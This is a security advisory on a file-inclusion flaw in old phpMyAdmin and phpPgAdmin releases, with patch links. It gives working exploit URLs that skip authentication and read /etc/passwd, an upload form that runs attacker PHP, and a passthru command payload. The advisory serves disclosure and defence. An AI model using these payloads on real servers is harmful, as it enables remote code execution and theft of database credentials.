COMMAND

    phpMyAdmin and phpPgAdmin

SYSTEMS AFFECTED

    phpMyAdmin 2.1.0
    phpPgAdmin below 2.3

PROBLEM

    Following  is  based  on  a  Secure  Reality Security Pre-Advisory
    SRPRE00001 and Security Advisory #8 SRADV00008.  phpMyAdmin is  an
    easy to use web  based administration interface for  MySQL written
    in PHP.  It was  written by Tobias Ratschiller, author  of several
    PHP textbooks, regular speaker on PHP and prominent member of  the
    PHP  community.    phpMyAdmin  is  extremely   popular  and   very
    widespread  (site  rankings  show  it  almost  as  popular  as PHP
    itself)  since  it  makes  most  MySQL  administration  tasks much
    easier.

    A further  indication of  its popularity  is the  fact that is has
    since been ported (largely by independent development) from  MySQL
    to  also  work  on  PostgreSQL   as  a  separate  product   called
    phpPgAdmin.

    phpMyAdmin (and phpPgAdmin by its common code base) makes insecure
    calls to the PHP function include(). Installations of the versions
    specified are vulnerable  to attacks in  which the attacker  gains
    the ability to execute arbitrary commands (and code) on the remote
    web server with the permissions of the web server user,  typically
    'nobody'.   Please  note  that  enabling 'Advanced Authentication'
    does _NOT_  prevent this  attack. Given  command execution ability
    the  attacker  also  gains  the  ability to read the configuration
    files of the installation, thereby gaining database credentials.

    The  problem  is  spotted  initially  with  a  trivial grep of the
    source.  The following line of code in sql.php seems suspicious:

        include($goto);

    The include() function tells PHP to read in the file specified  in
    the variable $goto  and interpret it  as though it  were PHP code.
    If the  attacker can  affect $goto  (with form  input) they may be
    able to point this at sensitive local files (e.g /etc/passwd)  and
    have them returned or even  worse, have their own PHP  interpreted
    which allows them to run arbitrary code.

    Looking at the context around this code:

        4 require("lib.inc.php");
        5 $no_require = true;
        6
        7
        8 if(isset($goto) && $goto == "sql.php")
        9 {
        10  $goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".urlencode($sql_query);
        11 }
        12
        13 // Go back to further page if table should not be dropped
        14 if(isset($btnDrop) && $btnDrop == $strNo)
        15 {
        16  if(file_exists($goto))
        17   include($goto);
        18  else
        19   Header("Location: $goto");
        20  exit;
        21 }

    sql.php is  normally used  by phpMyAdmin  to perform  freeform SQL
    queries (usually  select statements),  its also  used to  drop and
    empty tables. For drop and  empty actions the page is  designed to
    first confirm the action (with an 'Are you sure?' type page)  then
    perform the action and return  the user to an application  defined
    page.  The code we are  looking at above is the code  to determine
    if the person said no to the 'Are you sure?' and if so, to  return
    them to the page where they began.

    So, the user enters this  page by following a link  somewhere else
    in the  application.   The link  has as  form input, amongst other
    things, the $goto variable set  to an appropriate place to  return
    to once the action is completed (or cancelled as the case may be).

    Line  4   includes  some   sort  of   library  code    (presumably
    configuration information  too).   Then lines  8-11 redefine $goto
    to  include  form  information  if  the  page  set to return to is
    sql.php itself.   Line 14  checks if  the form  input contains the
    variable $btnDrop (which is the form button usually used to select
    'Yes' or  'No' at  the confirmation  prompt).   If the  input does
    contain $btnDrop and it is set to 'No' in the language  phpMyAdmin
    is using ($strNo) sql.php assumes the user has just clicked No  to
    a drop/clear action and begins  processing code to return them  to
    the page  they came  from.   Line 16  looks at  the $goto variable
    (which  is  set  as  described  above  in  the link used to get to
    sql.php to set a page to return to), it attempts to be intelligent
    and if that page is found on the local system (file_exists($goto))
    include()s  the  file  for   interpretation  by  PHP  instead   of
    redirecting the browser (as on line 19).

    This code is undoubtedly vulnerable.  The variable $goto is  MEANT
    to be  set by  the remote  web browser  in form  input and  can be
    pointed at  any local  file the  attacker wishes.   So as  a first
    attempt the attacker might surf in their web browser to:

        http://<vulnerable host>/phpMyAdmin/sql.php?btnDrop=No&goto=/etc/passwd

    which might be  expected to return  the text of  the password file
    on the remote  machine.  Unfortunately,  in most cases  this won't
    actually succeed and instead a username and password box will  pop
    up.   This  is  the  'Advanced  authentication'  configuration for
    phpMyAdmin.  phpMyAdmin  is not designed  for use on  the Internet
    (this  is  stated  in  the  documentation)  and  in its most basic
    configuration users  do not  have to  log in,  they simply have to
    know the url of the installation.  In this configuration a set  of
    MySQL  credentials  are  stored  in  a  configuration file and all
    users  of  the  application  share  those  credentials.   This  is
    obviously a bad thing, both on an Intranet and the Internet.  Thus
    later versions supply  an 'Advanced authentication'  configuration
    that forces  users to  login using  a MySQL  username and password
    and their access  is limited to  the access of  those credentials.
    Even though the documentation states phpMyAdmin should not be used
    on the Internet many users  have done so, relying on  the Advanced
    authentication to prevent anonymous users accessing the databases.

    So,  presumably  the  attacker  doesn't  have  credentials  on the
    remote databases  which means  they will  need a  way around  this
    authentication.  Remember  line  4   of  sql.php  which   included
    lib.inc.php?   Obviously  this  authentication  must  be happening
    somewhere inside there so here's some context:

        4 require("config.inc.php");

    ... definition of a few utility functions

        102 reset($cfgServers);
        103 while(list($key, $val) = each($cfgServers))
        104 {
        105  // Don't use servers with no hostname
        106  if (empty($val['host']))
        107   unset($cfgServers[$key]);
        108 }
        109
        110 if(empty($server) || !isset($cfgServers[$server]) ||
        !is_array($cfgServers[$server]))
        111  $server = $cfgServerDefault;
        112
        113 if($server == 0)
        114 {
        115  // If no server is selected, make sure that $cfgServer is empty
        116  // (so that nothing will work), and skip server authentication.
        117  // We do NOT exit here, but continue on without logging into
        118  // any server.  This way, the welcome page will still come up
        119  // (with no server info) and present a choice of servers in the
        120  // case that there are multiple servers and '$cfgServerDefault = 0'
        121  // is set.
        122  $cfgServer = array();
        123 }
        124 else
        125 {
        126  // Otherwise, set up $cfgServer and do the usual login stuff.
        127  $cfgServer = $cfgServers[$server];

    Line  4  includes  some  sort  of  configuration  information from
    config.inc.php.   Line 102  goes on  to enumerate  an array called
    $cfgServers  (which  presumably  is  set  in  config.inc.php)  and
    removes  any  entries  that  don't  have  a  'host' element (which
    implies  the  array  is  two   dimensional,  arrays  in  PHP   are
    associative).  Line 110 then checks if the variable $server is  ''
    or if $cfgServers[$server] isn't set or isn't itself an array,  if
    any   of   those   conditions   are   true   $server   is  set  to
    $cfgServerDefault.  Finally  the code checks  if $server is  0, if
    it is then (as the comment specified) authentication is completely
    skipped, obviously something the attacker would appreciate.

    Ok, so what does this mean? phpMyAdmin can be configured to manage
    several different MySQL servers. In this case, before demanding  a
    login, it provides a select box for the user to select which MySQL
    server they  want to  manage.   The code  around line  103 removes
    misconfigured servers.  The code around line 110 checks the  users
    selection,  if  it  isn't  in  the  list of configured servers the
    server is set to $cfgServerDefault (a default server).  Finally in
    line 113 the  program checks if  no server has  yet been selected,
    and if 0 has been selected  it doesn't force a login based  on the
    assumption the user must  be at the main  index about to choose  a
    server.   It  shouldn't  matter  anyway,  since  the  user  hasn't
    provided credentials for a database the application won't  connect
    anywhere  so  from  the  applications  point  of  view there is no
    security issue in  allowing pages to  execute while not  connected
    to a database.  However, the attacker is attacking the application
    and not the database.

    Given the above, the attacker obviously wants to set $server to  0
    so that  authentication will  be skipped.   But this  doesn't work
    (in   most   situations).     Looking   at   some   context   from
    config.inc.php:

        9 // The $cfgServers array starts with $cfgServers[1].  Do not use $cfgServers[0].
        10 // You can disable a server config entry by setting host to ''.
        11  $cfgServers[1]['host'] = 'localhost';           // MySQL hostname
        12  $cfgServers[1]['port'] = '';                    // MySQL port - leave blank for default port
        13  $cfgServers[1]['adv_auth'] = true;             // Use advanced authentic ation?
        
        ... more cfgServers[] entries ...
        
        41  // If you have more than one server configured, you can set $cfgServerDefault
        42 // to any one of them to autoconnect to that server when phpMyAdmin is started,
        43  // or set it to 0 to be given a list of servers without logging in
        44  // If you have only one server configured, $cfgServerDefault *MUST* be
        45  // set to that server.
        46  $cfgServerDefault = 1;                            // Default server  (0=no default server)
        47  $cfgServer = '';
        48  unset($cfgServers[0]);

    Line  48  above  deliberately  forces  cfgServers[0]  to be unset.
    This  means   that  if   an  attacker   sets  $server   =  0   the
    !isset($cfgServers[$server])  clause  of  the  if statment on line
    110 of lib.inc.php will evalutate to true and $server will be  set
    to $cfgServerDefault. As  the comment on  line 41 above  indicates
    $cfgServerDefault is usually set  to a specific server  (in almost
    all installations).   So the  attacker still  needs a  way to  set
    $server =  0 without  triggering the  if statement  that evaluates
    cfgServers[$server] and resets it to the default.

    The answer to this  is in loose typing.   $server simply needs  to
    evaluate to the  _numeric_ value 0.   It doesn't have  to be  '0',
    just evaluate  to 0.  Many different  strings evaluate  to 0,  for
    example '', '0', '00'.   So the attacker needs  to set $server  to
    some value  that evaluates  to 0  and insure  that the array entry
    $cfgServers[$server]['host'] is set.  Note that the config.inc.php
    code  never  EMPTIES  the  cfgServers  array,  this  means that an
    attacker can submit  as form input  entries for this  array.  Take
    for example the  $server value '000'.   This value evaluates  to 0
    in a numeric context.  The  attacker can now create as form  input
    $cfgServers[000][host]=hello.   Remember   that  PHP  arrays   are
    associative   (that   is,   the   index   is   a   string),   thus
    $cfgServers[000] is NOT the same as cfgServers[0].

    Given the above, the attacker might try the following in their web
    browser:

        http://<vulnerable host>/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd

    Sure enough, all the tests are  passed and the passwd file of  the
    remote server  is returned  in a  web page,  straight through  the
    firewall and past the IDS.

    Now, the attacker  is unlikely to  be satisfied with  simply being
    able to read files  on the remote web  server, they're goal is  to
    execute commands.  They have the ability to include any file  they
    wish to be executed as PHP, they simply need to get some PHP  code
    of their choosing into  a file on the  remote machine.  There  are
    many ways to do this in  PHP (see our paper for more  information)
    but the most obvious one is file upload.  Take the following form:

        <FORM ENCTYPE="multipart/form-data" ACTION="http://<vulnerable host>/phpMyAdmin/sql.php" METHOD=POST>
        <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000">
        PHP File to be executed: <INPUT NAME="goto" TYPE="file">
        <INPUT TYPE="hidden" NAME="cfgServers[000][host]" VALUE="hello">
        <INPUT TYPE="hidden" NAME="server" VALUE="000">
        <INPUT TYPE="hidden" NAME="btnDrop" VALUE="No">
        <INPUT TYPE="submit" VALUE="Send File">

    If saved into a file and loaded into a web browser it brings up  a
    form asking for a file containing  PHP code to be executed on  the
    remote web  server.   The user  can click  the 'Browse' button and
    pick any file they  wish.  When the  user clicks 'Send File'  that
    file  is  uploaded  to  the  remote  web  server.   As default PHP
    functionality,  it  automatically  accepts  that file (even though
    sql.php does not process file  uploads) and saves it on  the local
    disk of the web server, it  then sets the location of the  file in
    the variable $goto (e.g  '/tmp/phpxXuoXG') and sets the  variables
    $server,  $btnDrop,  $cfgServers[000]  as  needed for the exploit.
    All the tests are again passed  but now instead of reading a  file
    that was  already local  the local  file is  one the  attacker has
    just uploaded.  If the file contained the following for example:

        <?php
        passthru("ls /etc");
        ?>

    a  directory  listing  of  the  /etc/  directory on the remote web
    server would be returned to the attackers web browser.   Obviously
    any command could be specified  and further exploit code could  be
    uploaded and executed as described in 'A Study In Scarlet'.

    The  attacker  can  also  gain  further  assistance by reading the
    contents   of   config.inc.   php.   In   Advanced  authentication
    installations it contains  database credentials for  each database
    to  be  administered  using  phpMyAdmin.   The credentials must be
    able to  read the  priviliges in  the mysql  database.  This means
    allows  an  attacker  to  easily  gain  access  to  the  encrypted
    password  hashes  of  all  the  users  on each MySQL installation.
    Further, most  installations actually  place the  MySQL root  user
    credentials in  this file  to save  effort of  creating a new user
    with select privileges on mysql.*.

    The  attack  on  phpPgAdmin  is  a  slight  variation  on  the one
    detailed above.  This is  because phpPgAdmin is based on  an older
    version of phpMyAdmin.  The attacker simply needs to set  $LIB_INC
    to 1 to prevent lib.inc.php  being included at all without  having
    to fool the application into  believing the user is yet  to select
    a server.  That is, an attack like the following works:

        http://<vulnerable host>/phpPgAdmin/sql.php?LIB_INC=1&btnDrop=No&goto=/etc/passwd

    As always with PHP there  are many caveats to the  attacks details
    in this advisory based on PHP configuration and version.

SOLUTION

    phpPgAdmin 2.2.1:

        http://www.securereality.com.au/patches/phpPgAdmin-SecureReality.diff

    phpMyAdmin 2.2.0:

        http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff

    Development of phpMyAdmin has been continued by an independent and
    unauthorized (as yet) group of developers who have released a  new
    version that contains fixes for this problem.  You can upgrade  to
    their version (2.2.0pre5) from:

        http://sourceforge.net/project/showfiles.php?group_id=23067

    The developers of  phpPgAdmin have patched  later versions to  fix
    this problem.  Please download the fixed version from:

        ftp://ftp.greatbridge.org/pub/phppgadmin/stable/phpPgAdmin_2-3.tar.gz